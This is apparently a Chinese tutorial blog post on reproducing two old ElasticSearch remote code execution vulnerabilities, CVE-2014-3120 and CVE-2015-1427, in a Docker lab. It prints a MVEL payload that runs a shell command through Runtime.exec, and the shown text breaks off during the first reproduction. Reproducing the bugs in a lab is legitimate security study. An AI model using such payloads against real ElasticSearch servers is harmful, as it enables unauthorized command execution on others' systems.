ElasticSearch漏洞复现

文章详细介绍了ElasticSearch的搜索API和两个重大安全漏洞的复现过程,包括CVE-2014-3120,该漏洞允许通过_search的source参数执行任意MVEL表达式和Java代码,以及CVE-2015-1427,这个漏洞中Groovy脚本引擎可被用于绕过沙盒执行任意shell命令。复现步骤包括环境设置、漏洞利用payload的构造和执行结果展示。

ElasticSearch简介

Elasticsearch(以下简称ES)是目前全文搜索引擎的首选。它是一个基于 Lucene 的搜索服务器,提供了一个分布式多用户能力的全文搜索引擎,它同时基于 RESTful Web 接口,可以快速地储存、搜索和分析海量数据。
ES安装部署成功后,默认端口是9200。

ElasticSearch _search API概述

对ES中存储的数据进行查询分析,使用关键字_search。如下

GET /_search    ## 在根目录下检索所有的index
GET /<target>/_search   ## 在指定索引下检索所有文档
GET /<target1>,<target2>/_search   ## 检索指定多个索引下的所有文档
GET /my_*/_search    ## 使用通配符,检索指定多个索引下的所有文档

ES提供查询的两种形式:URI Search和Request Boby Search。

ElasticSearch 漏洞复现

ElasticSearch CVE-2014-3120复现

  • 漏洞描述:
    在ES1.2之前Elasticsearch的默认配置启用动态脚本,这允许远程攻击者通过_search的source参数执行任意MVEL表达式和Java代码。
    MVEL执行命令代码:
    import java.io.*;
    new java.util.Scanner(Runtime.getRuntime().exec("whoami").getInputStream()).useDelimiter("\\A").next(); 
    
  • 启动环境:
    cd CVE-2014-3120
    docker-compose up -d
    
    启动后,通过127.0.0.1:9200就可以访问,截图如下:
    在这里插入图片描述
    对应的浏览器访问结果,如下json:
    {
         
         
       	"status" : 200,
       	"
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值